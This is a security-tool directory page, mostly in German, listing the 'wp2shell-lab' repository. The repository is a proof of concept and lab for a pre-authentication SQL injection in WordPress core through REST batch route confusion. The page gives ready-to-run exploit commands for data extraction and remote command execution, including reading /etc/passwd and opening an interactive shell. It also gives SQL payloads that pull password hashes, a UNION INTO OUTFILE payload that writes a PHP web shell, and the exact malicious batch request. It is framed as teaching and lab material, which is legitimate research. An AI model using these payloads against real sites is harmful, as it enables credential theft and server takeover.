Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wp2shell-lab — Lehr-PoC + Labor für CVE-2026-63030 + CVE-2026-60137: Pre-Auth-SQLi im WordPress-Kern über Batch-Routen-Verwechslung | Kitploit
Tools/GitHubGitHub/47cid/wp2shell-lab
Statische AnalyseSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHub47cid/wp2shell-lab

wp2shell-lab

142vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Lehr-PoC + Labor für CVE-2026-63030 + CVE-2026-60137: Pre-Auth-SQLi im WordPress-Kern über Batch-Routen-Verwechslung

Repository anzeigen

wp2shell-lab

Pädagogischer PoC und Labor für CVE-2026-63030 + CVE-2026-60137: Pre-Authentication-SQL-Injection im WordPress-Core über REST-Batch-Routen-Verwechslung.

Entdeckt von Adam Kues (Searchlight Cyber / Assetnote). Behoben in WordPress 6.9.5 / 7.0.2.

Schnellstart

root@kitploit:~
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

Writeup

Schritt 1: Der Batch-Endpoint ist nicht authentifiziert

POST /wp-json/batch/v1 bündelt mehrere REST-API-Aufrufe in eine einzige HTTP-Anfrage. Er hat keine eigene Auth-Prüfung. Die Sicherheit wird an den Permission-Callback jeder Unteranfrage delegiert.

Schritt 2: Der Desync

serve_batch_request_v1() baut zwei parallele Arrays auf:

  • $matches[] verfolgt, an welchen Handler jede Unteranfrage dispatched werden soll
  • $validation[] verfolgt, ob jede Unteranfrage die Validierung bestanden hat

Beim Dispatch indexiert es beide mit demselben Offset. Der Bug: Wenn der Pfad einer Unteranfrage bei wp_parse_url() fehlschlägt, wird ein WP_Error zu $validation hinzugefügt, aber nicht zu $matches. Dadurch verschiebt sich $matches um eins, und jede nachfolgende Unteranfrage wird an den falschen Handler dispatched.

Schritt 3: Doppelte Verschachtelung

Der Desync wird zweimal verwendet.

Äußerer Batch. Eine /wp/v2/posts-Anfrage, die einen inneren Batch als Body trägt, wird unter dem Batch-Handler dispatched (Selbstaufruf). Sie wurde als Posts-Anfrage validiert, daher wurde das innere requests-Array nie gegen das Batch-Schema geprüft. Dies umgeht die Methoden-Allowlist und erlaubt inneren Unteranfragen die Verwendung von GET.

Innerer Batch. Eine /wp/v2/categories?author_exclude=<SQLI>-Anfrage wird unter posts get_items() dispatched. Das Categories-Schema definiert author_exclude nicht, daher passiert es unverändert die Validierung. Aber posts get_items() mappt es auf WP_Query::author__not_in, wo der Wert roh in SQL interpoliert wird.

Schritt 4: Die SQL-Injection

Der verwundbare WP_Query-Code bereinigte author__not_in nur dann, wenn es bereits ein Array war:

root@kitploit:~
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

Ein String-Wert umgeht die is_array()-Prüfung vollständig. Der (array)-Cast umschließt ihn, ohne zu bereinigen.

Schritt 5: Was du damit tun kannst

Datenbank auslesen (jede betroffene Website):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Boolesches Orakel: zurückgegebene Posts = wahr, leer = falsch. Binäre Suche pro Zeichen.

Dateien schreiben (erfordert MySQL-FILE-Privileg, nicht der WordPress-Standard):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

Der Batch-Desync

Die eigentliche HTTP-Anfrage:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Wie die Arrays fehlausgerichtet werden:

serve_batch_request_v1() verarbeitet Unteranfragen in zwei Schleifen. Die erste Schleife validiert jede Unteranfrage und baut $matches[] und $validation[] auf. Die zweite Schleife dispatched jede Unteranfrage mit $matches[$i] als Handler. Da der Fehler des Primers in $matches fehlt, paart die zweite Schleife jede Anfrage mit dem falschen Handler.

root@kitploit:~
POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

Schnelle Extraktion über das X-WP-Total-Bitmasken-Orakel

Bestehende PoCs verwenden blinde boolesche Extraktion: 1 Bit pro HTTP-Anfrage, etwa 224 Anfragen für einen Passwort-Hash. Dieses Repo kombiniert zwei Techniken für eine ~75-mal schnellere Extraktion.

X-WP-Total-Orakel. WordPress fügt SQL_CALC_FOUND_ROWS zu Post-Abfragen hinzu und legt die Anzahl in den X-WP-Total-Response-Header. UNION-Zeilen werden auf SQL-Ebene gezählt, auch wenn PHP sie aus dem Response-Body filtert. Bedingte UNIONs kodieren einzelne Bits:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0 bedeutet Bit nicht gesetzt, 1 bedeutet Bit gesetzt. Sieben Sonden = ein vollständiges ASCII-Zeichen.

Unbegrenzter innerer Batch. Der äußere Batch validiert maxItems: 25 über sein Schema. Die Routen-Verwechslung umgeht dies: Der innere Batch läuft rekursiv ohne Größenprüfung. Alle 7 Bit-Sonden für mehrere Zeichen packen in eine Anfrage.

16 Zeichen x 7 Bits = 112 Sonden pro Anfrage. Ein 34-Zeichen-phpass-Hash in ~3 Anfragen statt ~224.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

Referenzen

  • WordPress 7.0.2 release
  • Searchlight Cyber advisory
  • GHSA-ff9f-jf42-662q (Routen-Verwechslung)
  • GHSA-fpp7-x2x2-2mjf (SQLi)
  • Icex0/wp2shell-poc - blindes SQLi + Post-Auth-Webshell
  • AdnaneKhan/Wp2Shell-RCE - INTO OUTFILE RCE mit Docker-Labor
  • sergiointel/wp2shell-poc - minimaler timing-basierter PoC

Rechtliches

Nur für autorisierte Sicherheitstests und Bildungszwecke. Ausschließlich gegen Systeme verwenden, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung hast.

Tool herunterladen